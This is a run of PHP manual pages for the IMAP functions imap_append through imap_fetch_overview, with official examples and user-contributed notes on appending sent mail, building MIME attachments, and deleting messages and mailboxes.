$stream = imap_open("{imap.example.org}INBOX.Drafts", "username", "password");

$check = imap_check($stream);
echo "Msg Count before append: ". $check->Nmsgs . "\n";

imap_append($stream, "{imap.example.org}INBOX.Drafts"
                   , "From: me@example.com\r\n"
                   . "To: you@example.com\r\n"
                   . "Subject: test\r\n"
                   . "\r\n"
                   . "this is a test message, please ignore\r\n"
                   );

$check = imap_check($stream);
echo "Msg Count after append : ". $check->Nmsgs . "\n";

imap_close($stream);
?>

User Contributed Notes

rixsta at hotmail dot com 22-Feb-2013 05:59
Hi,

As we have been struggling with this for some time I wanted to share how we got imap_append working properly with all MIME parts including attachments.  If you are sending email and also wish to append the sent message to the Sent Items folder, I cannot think of an easier way to do this, as follows:

1) Use SwiftMailer to send the message via PHP.
$message = Swift_Message::newInstance("Subject goes here");
(then add from, to, body, attachments etc)
$result = $mailer->send($message);

2) When you construct the message in step 1) above save it to a variable as follows:

$msg = $message->toString(); (this creates the full MIME message required for imap_append()!!  After this you can call imap_append like this:

imap_append($imap_conn,$mail_box,$msg."\r\n","\\Seen");

I hope this helps the readers, and prevents saves people from doing what we started doing - hand crafting the MIME messages :-0
serpent at paradise dot net dot nz 07-Feb-2013 05:10
We couldn't get this function to work properly with MS-Exchange/IMAP, not because there's a problem with a the function as such, but because MS-Exchange changed the content-type in the header from multipart/[anything] to text/plain in every instance.  We set ImapMessagesRetrievalMimeFormat to HtmlAndTextAlternative
on the Exchange server, and that didn't help either.  I even tried wrapping the multipart message in a message/rfc822 wrapper and it reached inside the outer message and tweeked the inner message from multipart/alternative to text/plain.

Messages emailed to the mbox were unaffected, I suggest you try that route instead, and move the relevant messages to where you want them.
bill at dyndns dot org 23-Nov-2011 08:45
Here is how I used this function with an attachment. I used examples from everyone else but made it easier and cleaner to change.

<?php
$authhost="{000.000.000.000:993/validate-cert/ssl}Drafts";

$user="sadasd";
$pass="sadasd";

if ($mbox=imap_open( $authhost, $user, $pass))
{
    $dmy=date("d-M-Y H:i:s");

    $filename="filename.pdf";
    $attachment = chunk_split(base64_encode($filestring));

    $boundary = "------=".md5(uniqid(rand()));

    $msg = ("From: Somebody\r\n"
        . "To: test@example.co.uk\r\n"
        . "Date: $dmy\r\n"
        . "Subject: This is the subject\r\n"
        . "MIME-Version: 1.0\r\n"
        . "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n"
        . "\r\n\r\n"
        . "--$boundary\r\n"
        . "Content-Type: text/html;\r\n\tcharset=\"ISO-8859-1\"\r\n"
        . "Content-Transfer-Encoding: 8bit \r\n"
        . "\r\n\r\n"
        . "Hello this is a test\r\n"
        . "\r\n\r\n"
        . "--$boundary\r\n"
        . "Content-Transfer-Encoding: base64\r\n"
        . "Content-Disposition: attachment; filename=\"$filename\"\r\n"
        . "\r\n" . $attachment . "\r\n"
        . "\r\n\r\n\r\n"
        . "--$boundary--\r\n\r\n");

    imap_append($mbox,$authhost,$msg, "\\Draft");

    imap_close($mbox);
}
else
{
    echo "<h1>FAIL!</h1>\n";
}

?>

Hope this helps someone.
Tigggger 08-Aug-2011 06:30
I encountered 3 problems when attempting to get my server to copy messages to the sent folder.

1. Wouldn't login until I added /novalidate-cert
2. No code example of getting the date sent
3. Including an attachment

Hope this code helps others

<?php
$dmy=date("d-M-Y H:i:s");
$dmy.= " +0100"; // Had to do this bit manually as server and me are in different timezones
$stream=@imap_open("{mail.example.com/novalidate-cert}INBOX.Sent", "username", "password");
$boundary = "------=".md5(uniqid(rand()));
$header = "MIME-Version: 1.0\r\n";
$header .= "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n";
$header .= "\r\n";
$file="../path_to/filename.pdf";
$filename="filename.pdf";
$ouv=fopen ("$file", "rb");$lir=fread ($ouv, filesize ("$file"));fclose
($ouv);
$attachment = chunk_split(base64_encode($lir));
$msg2 .= "--$boundary\r\n";
$msg2 .= "Content-Transfer-Encoding: base64\r\n";
$msg2 .= "Content-Disposition: attachment; filename=\"$filename\"\r\n";
$msg2 .= "\r\n";
$msg2 .= $attachment . "\r\n";
$msg2 .= "\r\n\r\n";
$msg3 .= "--$boundary--\r\n";
imap_append($stream,"{mail.example.com/novalidate-cert}INBOX.Sent","From: Somebody\r\n"."To: test@example.co.uk\r\n"."Date: $dmy\r\n"."Subject: This is the subject\r\n"."$header\r\n"."$msg2\r\n"."$msg3\r\n");
imap_close ($stream);
?>
kaminski at istori dot com 16-Aug-2010 05:52
The date format string to use when creating $internal_date is 'd-M-Y H:i:s O'.
chris at sma-sportsmgmt dot com 08-Feb-2008 08:06
I spend most of today refining the example to make it work properly when saving to the Inbox.Sent folder.

The append command now looks like:

    $return = imap_append($stream,$mailbox_addr
                       , "From: $fromReply\r\n"
                       . "To: $to\r\n"
                       . "Subject: $subject\r\n"
                       . "Date: $now  \r\n"
              . "X-Mailer: Cmail_v2.0 \r\n"
                       . "X-Originating-IP: $ip_addr \r\n"
                       . "MIME-Version: 1 \r\n"
                       . "Content-Type: text/html;\r\n\tcharset=\"ISO-8859-1\"\r\n"
                       . "Content-Transfer-Encoding: 8bit \r\n"
                       . "\r\n\r\n"
                       . "$wk_msg\r\n"
                       );

This inserts the current date into the email and lets it support html content. The one thing that I haven't got working yet is including attachments. I presumably have to make the boundaries and attachment content part of the message body.

Chris
jille at DIESPAMMERShexon dot cx 03-May-2007 04:36
The last argument, $options, are flags like for use with imap_setflag_full.
It took a while before I found out
svicentemolina at gmail dot com 17-Jan-2007 04:57
I have used this function to copy all the emails of one account from one server to another. The problem was that this function don't copy the original receiving date for each message.
To add a fifth field to provide the date, I have made some changes at some php source files following the steps described in http://www.zend.com/lists/php-dev/200303/msg00843.html and it has worked fine.
The correct date format is the returned by the function mail_date in c-client/mail.c source file, for instance: "17-Jan-2007 10:00:01 +0100"
bithive 24-Jun-2003 12:26
The parameter description is misleading.  You can pass a string of flags such as '\Seen' [see imap_setflag_full()] as the last argument.  In the other imap functions, 'options' seems to usually refer to a bitmask, not message flags.
michel dot jansens at ulb dot ac dot be 29-Apr-2003 04:29
I use imap_append() to decode message/rfc822 attachments type(embedded emails):

$attachment = imap_fetchbody($mbox,$mailuid,$atpos,FT_UID);
$attachment = imap_base64($attachment);
$res =  imap_append($mbox,mboxspec("INBOX"),$attachment);
//the embedded email is now a normal mail in my INBOX
bluebiru78 at hotmail dot com 12-Jun-2002 09:24
i used imap_append to copy any composed message into INBOX.Sent folder..

$app = imap_append($stream,"{" . $connectstring . "}INBOX.Sent","$header\r\n" ."$mbody\r\n");

if (!$app) {
 error("Email copying to Sent folder FAILED!");
}
owain at vaughan dot com 01-Aug-2001 03:49
With SIMS IMAP server you also need to use \r\n as a line terminator, otherwise you will be able to add all the header lines correctly, but the body of the message will not be saved.<br>
You can use \n by itself for each header line, but when creating the blank line between the headers and the body you must use \r\n\r\n
jesper at angelo dot dk 14-Sep-1999 06:13
Please observe that imap_append() do not support NNTP posting. Use fsockopen() instead, and do the work yourself.


Decode BASE64 encoded text

  • « imap_append
  • imap_binary »
  • PHP Manual
  • IMAP Functions
  • Decode BASE64 encoded text

imap_base64

(PHP 4, PHP 5)

imap_base64 — Decode BASE64 encoded text

Description

string imap_base64 ( string $text )

Decodes the given BASE-64 encoded text.

Parameters

text

The encoded text

Return Values

Returns the decoded message as a string.

See Also

  • imap_binary() - Convert an 8bit string to a base64 string
  • base64_encode() - Encodes data with MIME base64
  • base64_decode() - Decodes data encoded with MIME base64
  • » RFC2045, Section 6.8

User Contributed Notes

chris at deliens dot be 04-Mar-2011 04:45
Looks like this function has exactly the same behavior as base64_decode($test, true) -> it returns FALSE if $text contains characters outside the Base64 alphabet, although this isn't documented here.


Convert an 8bit string to a base64 string

  • « imap_base64
  • imap_body »
  • PHP Manual
  • IMAP Functions
  • Convert an 8bit string to a base64 string

imap_binary

(PHP 4, PHP 5)

imap_binary — Convert an 8bit string to a base64 string

Description

string imap_binary ( string $string )

Convert an 8bit string to a base64 string according to » RFC2045, Section 6.8.

Parameters

string

The 8bit string

Return Values

Returns a base64 encoded string.

See Also

  • imap_base64() - Decode BASE64 encoded text

User Contributed Notes

phunction.sf.net 11-Jun-2010 03:26
Calling this function is the same as doing:

<?php

chunk_split(base64_encode($string), 60);

?>


Read the message body

  • « imap_binary
  • imap_bodystruct »
  • PHP Manual
  • IMAP Functions
  • Read the message body

imap_body

(PHP 4, PHP 5)

imap_body — Read the message body

Description

string imap_body ( resource $imap_stream , int $msg_number [, int $options = 0 ] )

imap_body() returns the body of the message, numbered msg_number in the current mailbox.

imap_body() will only return a verbatim copy of the message body. To extract single parts of a multipart MIME-encoded message you have to use imap_fetchstructure() to analyze its structure and imap_fetchbody() to extract a copy of a single body component.

Parameters

imap_stream

An IMAP stream returned by imap_open().

msg_number

The message number

options

The optional options are a bit mask with one or more of the following:

  • FT_UID - The msg_number is a UID
  • FT_PEEK - Do not set the \Seen flag if not already set
  • FT_INTERNAL - The return string is in internal format, will not canonicalize to CRLF.

Return Values

Returns the body of the specified message, as a string.

User Contributed Notes

Anonymous 27-Jan-2014 05:44
Documentation lacks the information that you can use | -character to combine multiple options
paddywwoof 26-Jan-2011 02:09
NB the message numbers start from 1 not 0 as normally used for iterating.
deenfirdoush at gmail dot com 15-Dec-2009 04:08
Simple example on how to read body message of the recent mail.

<?php
$imap = imap_open("{pop.example.com:995/pop3/ssl/novalidate-cert}", "username", "password");

if( $imap ) {

     //Check no.of.msgs
     $num = imap_num_msg($imap);

     //if there is a message in your inbox
     if( $num >0 ) {
          //read that mail recently arrived
          echo imap_qprint(imap_body($imap, $num));
     }

     //close the stream
     imap_close($imap);
}
?>


Read the structure of a specified body section of a specific message

  • « imap_body
  • imap_check »
  • PHP Manual
  • IMAP Functions
  • Read the structure of a specified body section of a specific message

imap_bodystruct

(PHP 4, PHP 5)

imap_bodystruct — Read the structure of a specified body section of a specific message

Description

object imap_bodystruct ( resource $imap_stream , int $msg_number , string $section )

Read the structure of a specified body section of a specific message.

Parameters

imap_stream

An IMAP stream returned by imap_open().

msg_number

The message number

section

The body section to read

Return Values

Returns the information in an object, for a detailed description of the object structure and properties see imap_fetchstructure().

See Also

  • imap_fetchstructure() - Read the structure of a particular message

User Contributed Notes

There are no user contributed notes for this page.


Check current mailbox

  • « imap_bodystruct
  • imap_clearflag_full »
  • PHP Manual
  • IMAP Functions
  • Check current mailbox

imap_check

(PHP 4, PHP 5)

imap_check — Check current mailbox

Description

object imap_check ( resource $imap_stream )

Checks information about the current mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

Return Values

Returns the information in an object with following properties:

  • Date - current system time formatted according to » RFC2822
  • Driver - protocol used to access this mailbox: POP3, IMAP, NNTP
  • Mailbox - the mailbox name
  • Nmsgs - number of messages in the mailbox
  • Recent - number of recent messages in the mailbox

Returns FALSE on failure.

Examples

Example #1 imap_check() example

<?php

$imap_obj = imap_check($imap_stream);
var_dump($imap_obj);

?>

The above example will output something similar to:

object(stdClass)(5) {
  ["Date"]=>
  string(37) "Wed, 10 Dec 2003 17:56:54 +0100 (CET)"
  ["Driver"]=>
  string(4) "imap"
  ["Mailbox"]=>
  string(54)
  "{www.example.com:143/imap/user="foo@example.com"}INBOX"
  ["Nmsgs"]=>
  int(1)
  ["Recent"]=>
  int(0)
}

User Contributed Notes

JUNIOR TELLO 27-Jan-2006 03:43
You can NOT prevent imap_check from flagging new/recent messages when using POP3 enabling the "/readonly" or OP_READONLY flags or options.
erik at phpcastle dot com 13-Dec-2005 04:49
The imap_check ($stream); function will return real-time information about the e-mail box (at least imap) during one connection :)
28-Oct-2004 09:21
You can prevent imap_check from flagging new/recent messages as checked by calling imap_open with the "/readonly" or OP_READONLY flags.
rasmus at flajm dot com 19-Dec-2003 05:06
Running this on a mailbox will mark recent/new messages as checked.


Clears flags on messages

  • « imap_check
  • imap_close »
  • PHP Manual
  • IMAP Functions
  • Clears flags on messages

imap_clearflag_full

(PHP 4, PHP 5)

imap_clearflag_full — Clears flags on messages

Description

bool imap_clearflag_full ( resource $imap_stream , string $sequence , string $flag [, int $options = 0 ] )

This function causes a store to delete the specified flag to the flags set for the messages in the specified sequence.

Parameters

imap_stream

An IMAP stream returned by imap_open().

sequence

A sequence of message numbers. You can enumerate desired messages with the X,Y syntax, or retrieve all messages within an interval with the X:Y syntax

flag

The flags which you can unset are "\\Seen", "\\Answered", "\\Flagged", "\\Deleted", and "\\Draft" (as defined by » RFC2060)

options

options are a bit mask and may contain the single option:

  • ST_UID - The sequence argument contains UIDs instead of sequence numbers

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • imap_setflag_full() - Sets flags on messages

User Contributed Notes

Nohado 26-Aug-2010 04:41
I got a note that:

if u want to set a mail to "//Unseen", which not exists,
do it like this:

imap_clearflag_full($your_imap_connection,
$number_of_message,"//Seen");

but, remember to do
imap_close($imap, CL_EXPUNGE);
@ the END! so that it will be confirmed!

Cheers,
Nohado
Mark Hill 30-Jul-2009 12:36
Remember to specify your flags like '\\Seen' rather than "\\Seen".

Of course, flags are an IMAP feature, not a POP feature.

Resetting \\Seen works from PHP 4.3 works fine on the modern mail servers I've tested.
21-Nov-2005 06:42
imap_clearflag_full() and imap_setflag_full() seem to only change messageflags permanently with IMAP connections, not with POP3 connections.
calmdown at abendstille dot at 17-Jan-2003 02:23
This function seems not to save the \\Seen flag permanently.

Testet on Win NT IIS 4.0 PHP 4.3 and imap-mail-server


Close an IMAP stream

  • « imap_clearflag_full
  • imap_create »
  • PHP Manual
  • IMAP Functions
  • Close an IMAP stream

imap_close

(PHP 4, PHP 5)

imap_close — Close an IMAP stream

Description

bool imap_close ( resource $imap_stream [, int $flag = 0 ] )

Closes the imap stream.

Parameters

imap_stream

An IMAP stream returned by imap_open().

flag

If set to CL_EXPUNGE, the function will silently expunge the mailbox before closing, removing all messages marked for deletion. You can achieve the same thing by using imap_expunge()

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • imap_open() - Open an IMAP stream to a mailbox

User Contributed Notes

There are no user contributed notes for this page.


Alias of imap_createmailbox

  • « imap_close
  • imap_createmailbox »
  • PHP Manual
  • IMAP Functions
  • Alias of imap_createmailbox

imap_create

(PHP 4, PHP 5)

imap_create — Alias of imap_createmailbox()

Description

This function is an alias of: imap_createmailbox().

User Contributed Notes

There are no user contributed notes for this page.


Create a new mailbox

  • « imap_create
  • imap_delete »
  • PHP Manual
  • IMAP Functions
  • Create a new mailbox

imap_createmailbox

(PHP 4, PHP 5)

imap_createmailbox — Create a new mailbox

Description

bool imap_createmailbox ( resource $imap_stream , string $mailbox )

Creates a new mailbox specified by mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

mailbox

The mailbox name, see imap_open() for more information. Names containing international characters should be encoded by imap_utf7_encode()

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imap_createmailbox() example

<?php
$mbox = imap_open("{imap.example.org}", "username", "password", OP_HALFOPEN)
     or die("can't connect: " . imap_last_error());

$name1 = "phpnewbox";
$name2 = imap_utf7_encode("phpnewböx"); // phpnewb&w7Y-x

$newname = $name1;

echo "Newname will be '$name1'<br />\n";

// we will now create a new mailbox "phptestbox" in your inbox folder,
// check its status after creation and finally remove it to restore
// your inbox to its initial state

if (@imap_createmailbox($mbox, imap_utf7_encode("{imap.example.org}INBOX.$newname"))) {
    $status = @imap_status($mbox, "{imap.example.org}INBOX.$newname", SA_ALL);
    if ($status) {
        echo "your new mailbox '$name1' has the following status:<br />\n";
        echo "Messages:   " . $status->messages    . "<br />\n";
        echo "Recent:     " . $status->recent      . "<br />\n";
        echo "Unseen:     " . $status->unseen      . "<br />\n";
        echo "UIDnext:    " . $status->uidnext     . "<br />\n";
        echo "UIDvalidity:" . $status->uidvalidity . "<br />\n";

        if (imap_renamemailbox($mbox, "{imap.example.org}INBOX.$newname", "{imap.example.org}INBOX.$name2")) {
            echo "renamed new mailbox from '$name1' to '$name2'<br />\n";
            $newname = $name2;
        } else {
            echo "imap_renamemailbox on new mailbox failed: " . imap_last_error() . "<br />\n";
        }
    } else {
        echo "imap_status on new mailbox failed: " . imap_last_error() . "<br />\n";
    }

    if (@imap_deletemailbox($mbox, "{imap.example.org}INBOX.$newname")) {
        echo "new mailbox removed to restore initial state<br />\n";
    } else {
        echo "imap_deletemailbox on new mailbox failed: " . implode("<br />\n", imap_errors()) . "<br />\n";
    }

} else {
    echo "could not create new mailbox: " . implode("<br />\n", imap_errors()) . "<br />\n";
}

imap_close($mbox);
?>

See Also

  • imap_renamemailbox() - Rename an old mailbox to new mailbox
  • imap_deletemailbox() - Delete a mailbox

User Contributed Notes

tiznull 20-Mar-2009 08:44
One should understand that even though it says "create mailbox", you are really creating a FOLDER. Now, as a imap admin you can create mailboxes and more with this function.

So in reality, you are always creating folders when creating "mailboxes". Mail admin's get this, but programmers may not understand the concept completely.

If you auth a single user account and use these functions, they will not create mailboxes where mail is delivered, they will actually create a folder where you can copy messages to.

Here is a translation:
imap_createmailbox = create a folder in the account for the current authenticated user's imap session (imap_open)
imap_deletemailbox = delete a folder (and the email in it) for the current authenticated user's imap session (imap_open)
imap_getmailboxes = get all your folders for the current authenticated user's imap session (imap_open)
imap_renamemailbox = Rename a folder for the current authenticated user's imap session (imap_open)

================

Here is a quick class to login to an account, generate all of your base folders, and return the connection, success message and returns all the base folders for an imap account using PHP5:

<?php

class Imap {
    public $folders;
    public $connection;

    public function login($user, $pass) {
        $mbox = @imap_open("{imap.example.org:143}", $user, $pass);
        if(!$mbox)
            return ('Your login failed for user <strong>'.$user.'</strong>. Please try to enter your username and password again.<br />');

        // Login worked, let us begin!!!!....

        // gather folder lost...
        $fldrs_made = 0;
        $folders = imap_listmailbox($mbox, "{localhost:143}", "*");
        // create the default folders....
        if(1 === mailgui::create_default_folders($mbox,$folders)) {
            $folders = imap_listmailbox($mbox, "{localhost:143}", "*");
            $fldrs_made = 1;
        }

        sort($folders);

        $this->folders = $folders;
        $this->connection = $mbox;

        if(1 === $fldrs_made)
            return ('User logged in successfully as '.$user.'. This is your first time logging in, welcome to our webmail!!!<br />');
        else
            return ('User logged in successfully as '.$user.'.<br />');
    }
    private function create_default_folders($imap_stream, $folders) {
        $change=0;
        if(!in_array('{imap.example.org}TRASH',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}TRASH"));
            $change=1;
        }
        if(!in_array('{imap.example.org}SENT',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}SENT"));
            $change=1;
        }
        if(!in_array('{imap.example.org}SPAM',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}SPAM"));
            $change=1;
        }
        if(!in_array('{imap.example.org}SENT',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}SENT"));
            $change=1;
        }
        if(!in_array('{imap.example.org}SENT',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}DRAFTS"));
            $change=1;
        }
        if(!in_array('{imap.example.org}MY_FOLDERS',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}PERSONAL EMAIL"));
            $change=1;
        }
        return $change;
    }
    public function close_mail_connection() {
        @imap_close($this->connection);
    }
}

// usage, create a form, post it....
if($_POST['imap_username'] && $_POST['imap_password']) {
    $imap_login = new Imap();
    $imap_login->login($_POST['imap_username'],$_POST['imap_password']);

    // Do some mail stuff here, like get headers...., use obj connection
    $message_headers = imap_mailboxmsginfo($imap_login->connection);

    // show the folders....
    print_r($imap_login->folders, true);

    print '<br /><hr size="1" noshade />';

    print_r($message_headers, true);

    // close the connection
    $imap_login->close_mail_connection();
}

?>


Mark a message for deletion from current mailbox

  • « imap_createmailbox
  • imap_deletemailbox »
  • PHP Manual
  • IMAP Functions
  • Mark a message for deletion from current mailbox

imap_delete

(PHP 4, PHP 5)

imap_delete — Mark a message for deletion from current mailbox

Description

bool imap_delete ( resource $imap_stream , int $msg_number [, int $options = 0 ] )

Marks messages listed in msg_number for deletion. Messages marked for deletion will stay in the mailbox until either imap_expunge() is called or imap_close() is called with the optional parameter CL_EXPUNGE.

Parameters

imap_stream

An IMAP stream returned by imap_open().

msg_number

The message number

options

You can set the FT_UID which tells the function to treat the msg_number argument as an UID.

Return Values

Returns TRUE.

Examples

Example #1 imap_delete() example

<?php

$mbox = imap_open("{imap.example.org}INBOX", "username", "password")
    or die("Can't connect: " . imap_last_error());

$check = imap_mailboxmsginfo($mbox);
echo "Messages before delete: " . $check->Nmsgs . "<br />\n";

imap_delete($mbox, 1);

$check = imap_mailboxmsginfo($mbox);
echo "Messages after  delete: " . $check->Nmsgs . "<br />\n";

imap_expunge($mbox);

$check = imap_mailboxmsginfo($mbox);
echo "Messages after expunge: " . $check->Nmsgs . "<br />\n";

imap_close($mbox);
?>

Notes

Note:

IMAP mailboxes may not have their message flags saved between connections, so imap_expunge() should be called during the same connection in order to guarantee that messages marked for deletion will actually be purged.

See Also

  • imap_undelete() - Unmark the message which is marked deleted
  • imap_expunge() - Delete all messages marked for deletion
  • imap_close() - Close an IMAP stream

User Contributed Notes

rueda dot raul at gmail dot com 05-Dec-2013 11:22
This function seems not to work on "[Gmail]/All Mail" mailbox. This is because Gmails keeps only one copy of the message and mailboxes are no more than labels.
Deleting a message from a mailbox only removes that label (except for "All Mail" mailbox).
To delete from "All Mail" you have to use imap_mail_move() function and move the message to "[Gmail]/Trash" mailbox.

Note: Names of mailboxes in Gmail depends on the language you're using.  E.g.: in Spanish "All Mail" is "Todos" and "Trash" is "Papelera".
erational 25-Mar-2013 11:26
the function is using the message number (and not the uid !)
$uid = $mail->uid;
$msgno = $mail->msgno;

if you want to use the uid, simply option value
imap_delete($mbox, $uid, FT_UID);
Olle 01-Nov-2012 04:46
I couldn't get imap_delete to work when I used it with pop3. Instead i wrote:
<?php
function pop3_dele($connection,$message)
{
    $status = imap_setflag_full($connection, '1:'.$message, '\\Deleted');
    imap_expunge($connection);
    return $status;

    //return(imap_delete($connection,trim($message)));
}
?>
thisemailaddress at gmail dot com 23-Sep-2009 07:48
In case you feel the need to kill all emails from before a certain year on your Gmail account, this would work:

<?php
error_reporting(E_ALL ^ (E_NOTICE | E_WARNING));

echo "parsing ini file...\n";
$ini = parse_ini_file('g.ini');
$user = $ini['user'];
$pass = $ini['pass'];
$year = $ini['year'];
echo "account {$user} - killing msgs from before {$year}\n\n";

echo "connecting...\n";
$imap = imap_open("{imap.gmail.com:993/imap/ssl/novalidate-cert}[Gmail]/All Mail", $user, $pass) or die("can't connect: " . imap_last_error() . "\n");

echo "checking current mailbox...\n";
$mbox = imap_check($imap);

echo "fetching overview...\n";
$flaggedForDelete = 0;
for($n = 0; $n < $mbox->Nmsgs; $n++) {
    echo "processing {$n} of {$mbox->Nmsgs}...\r";
    $hdr = imap_fetchheader($imap, $n);
    preg_match('/^Date: (.*?)$/m', $hdr, $matches);
    $date = date_parse(strtotime($matches[1]));
    if($date['year'] < $year) {
        imap_delete($imap, $msg->msgno);
        $flaggedForDelete++;
    }
}

echo "expunging mailbox ({$flaggedForDelete} messages flagged)... ";
echo ((imap_expunge($imap)) ? "ok" : "failed!")."\n";
imap_close($imap);

?>
Alex 23-Apr-2009 09:00
I think you don't have to give a range to imap_delete() if you want to delete a single one.

This works well:

<?php

imap_delete($conn,trim($msgno));

?>
chris at financialservicesonline dot com dot au 29-Jan-2009 12:54
After a little experimentation i found out how to mark a single message for deletion...

<?php

$msgid = '5'; //For example

imap_delete($mbox, "$msgid:$msgid");

?>

imap_delete() seems to want a range, so to select one, simply range from your id to your id.

Hope this helps.
iwantsimplelife at lycos dot com 12-Jan-2009 10:40
Somehow, when ever I try to delete an email using the message number returned by imap_header, any email with a message number below 999 will fail.

I discovered that the imap_header will pad the message number with spaces. You will need to trim the number before calling imap_delete.

I am using qmail and it took me over a month to figure it out.

Hope this will be helpful to some poor soul out there facing the same problem.
jacky at jackyhome dot myvnc dot com 09-Nov-2003 10:42
// is not a complete code but enough to clear out an entire mailbox.
// hope this can save your time :-)

<?php

if (isset($_REQUEST['DoNow']))
{
  # PULL ADDITIONAL FILES
  include_once ("common.php");

  $conn = @imap_open("\{$server/$serverType}Trash", $user, $pass)
  or die("Connection to folder failed");

  $headers = @imap_check($conn);
  ($headers->Nmsgs > 0) or die("Trash is empty already !");

  // delete email(s)
  @imap_delete($conn,'1:*');   // to clear out an entire mailbox.
  @imap_expunge($conn);
  echo "Trash is empty.";

  imap_close($conn);
}
else
{
  echo "<form name='formA' action='".$_SERVER['PATH_INFO']."' method='POST'>"; ?>
  Are you sure to empty trash ?
  <p>
  <input type="submit" value="Go Ahead" name="DoNow">&nbsp;
  <input type="button" value="Cancel" name="Cancel" onClick='javascript:self.history.go(-1)'></form></p>
<?php
} ?>
James G 10-Apr-2003 06:05
I had some major issues deleting emails using this function.  Using IIS 5.0 and a win based Mail Server, I could not delete the emails individually.

My script merely needed to check the emails and update the database for bounce backs, after which I simply wanted to erase all emails.

If imap_delete($mbox,$email->MsgNo) just isnt working for you, you can try using

    imap_delete($mbox,'1:*');

to clear out an entire mailbox.

Hope this helps cause it drove me insane for about 5 hours.  :)


Delete a mailbox

  • « imap_delete
  • imap_errors »
  • PHP Manual
  • IMAP Functions
  • Delete a mailbox

imap_deletemailbox

(PHP 4, PHP 5)

imap_deletemailbox — Delete a mailbox

Description

bool imap_deletemailbox ( resource $imap_stream , string $mailbox )

Deletes the specified mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

mailbox

The mailbox name, see imap_open() for more information

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • imap_createmailbox() - Create a new mailbox
  • imap_renamemailbox() - Rename an old mailbox to new mailbox
  • imap_open() - Open an IMAP stream to a mailbox for the format of mbox

User Contributed Notes

sanin at kset dot org 10-Oct-2006 05:27
When deleting user account(s) from IMAP server don't forget to put full server name and port. Also need to be logged as IMAP admin and set ACL.
This worked for Cyrus:

<?php
//Credentials
$cyrusadmin_username="cyrus";
$cyrusadmin_password="cyruspassword";
$cyrus_serverip="fellowship.ring.net";

//User to delete
$username="frodoBaggins";

//Open the connection to IMAP server (Cyrus)
   $mbox=imap_open("{".$serverip.":143}",$cyrusadmin_username, $cyrusadmin_password, OP_HALFOPEN)
            or die('IMAP Could not connect because '.imap_last_error());
//Set ACL - Give rights to $cyrusadmin_username to delete mailbox
   imap_setacl ($mbox, "user.".$username, $cyrusadmin_username, "lrswipcda")
            or die('Could not setacl on mailbox');
//Delete mailbox
   imap_deletemailbox($mbox,"{".$serverip.":143}user.".$username)
            or die('Could not delete mailbox');
?>
kenstumpf<a>hotmail.com 08-Jan-2004 09:10
Recent versions of the Cyrus imapd define mailbox ACLs as follows:

c (create)
The user may create new sub-mailboxes of the mailbox, or delete or rename the current mailbox.

d (delete)
The user may store the "Deleted" flag, and perform expunges.

This means to delete a mailbox, you will need to give the user you are connecting with via imap_open() "c" rights on the mailbox in order for imap_deletemailbox() to work.  Setting "d" rights for yourself is not the same.

Check the documentation for your version of Cyrus imapd.


Returns all of the IMAP errors that have occurred

  • « imap_deletemailbox
  • imap_expunge »
  • PHP Manual
  • IMAP Functions
  • Returns all of the IMAP errors that have occurred

imap_errors

(PHP 4, PHP 5)

imap_errors — Returns all of the IMAP errors that have occurred

Description

array imap_errors ( void )

Gets all of the IMAP errors (if any) that have occurred during this page request or since the error stack was reset.

When imap_errors() is called, the error stack is subsequently cleared.

Return Values

This function returns an array of all of the IMAP error messages generated since the last imap_errors() call, or the beginning of the page. Returns FALSE if no error messages are available.

See Also

  • imap_last_error() - Gets the last IMAP error that occurred during this page request
  • imap_alerts() - Returns all IMAP alert messages that have occurred

User Contributed Notes

Brandon Kirsch at perceptionilluminates dot com 30-Jun-2013 03:27
If you do not use imap_errors() to clear the error stack, any errors that remain at the end of the script execution will be raised as PHP Notices.
Jeremy Glover 03-Apr-2007 08:41
When calling imap_close($mbox), notices will be generated for each error that has occurred within the imap functions.  To suppress these error messages (including Mailbox is empty, which is not really an error) simply call imap_errors() and then imap_close($mbox).


Delete all messages marked for deletion

  • « imap_errors
  • imap_fetch_overview »
  • PHP Manual
  • IMAP Functions
  • Delete all messages marked for deletion

imap_expunge

(PHP 4, PHP 5)

imap_expunge — Delete all messages marked for deletion

Description

bool imap_expunge ( resource $imap_stream )

Deletes all the messages marked for deletion by imap_delete(), imap_mail_move(), or imap_setflag_full().

Parameters

imap_stream

An IMAP stream returned by imap_open().

Return Values

Returns TRUE.

User Contributed Notes

boswachter at xs4all dot nl 12-Jan-2006 04:57
@eisbrenner at gidn dot de

You shouldn't call imap_expunge until before closing the connection. imap_delete tags a message for deletion, imap_expunge deletes all tagged messages. i.e.:
for ($i = 0; $i < $num; $i++) {
  imap_delete($box, $i);
}
imap_expunge($box);

imap_expunge should not be in your inner loop.


Read an overview of the information in the headers of the given message

  • « imap_expunge
  • imap_fetchbody »
  • PHP Manual
  • IMAP Functions
  • Read an overview of the information in the headers of the given message

imap_fetch_overview

(PHP 4, PHP 5)

imap_fetch_overview — Read an overview of the information in the headers of the given message

Description

array imap_fetch_overview ( resource $imap_stream , string $sequence [, int $options = 0 ] )

This function fetches mail headers for the given sequence and returns an overview of their contents.

Parameters

imap_stream

An IMAP stream returned by imap_open().

sequence

A message sequence description. You can enumerate desired messages with the X,Y syntax, or retrieve all messages within an interval with the X:Y syntax

options

sequence will contain a sequence of message indices or UIDs, if this parameter is set to FT_UID.

Return Values

Returns an array of objects describing one message header each. The object will only define a property if it exists. The possible properties are:

  • subject - the messages subject
  • from - who sent it
  • to - recipient
  • date - when was it sent
  • message_id - Message-ID
  • references - is a reference to this message id
  • in_reply_to - is a reply to this message id
  • size - size in bytes
  • uid - UID the message has in the mailbox
